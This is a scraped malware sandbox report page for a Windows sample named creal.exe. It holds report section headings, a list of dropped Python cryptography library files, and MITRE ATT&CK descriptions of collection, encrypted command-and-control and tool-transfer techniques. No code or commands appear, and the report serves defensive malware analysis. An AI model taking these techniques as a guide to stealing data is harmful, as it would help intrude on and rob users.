Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report creal.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_ARC4.pyd

C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_Salsa20.pyd

C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_chacha20.pyd

C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_pkcs1_decode.pyd

C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_aes.pyd

C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_aesni.pyd

C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_arc2.pyd

C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_blowfish.pyd

C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_cast.pyd

C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_cbc.pyd

C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_cfb.pyd

C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_ctr.pyd

C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_raw_des.pyd

Windows Analysis Report
creal.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre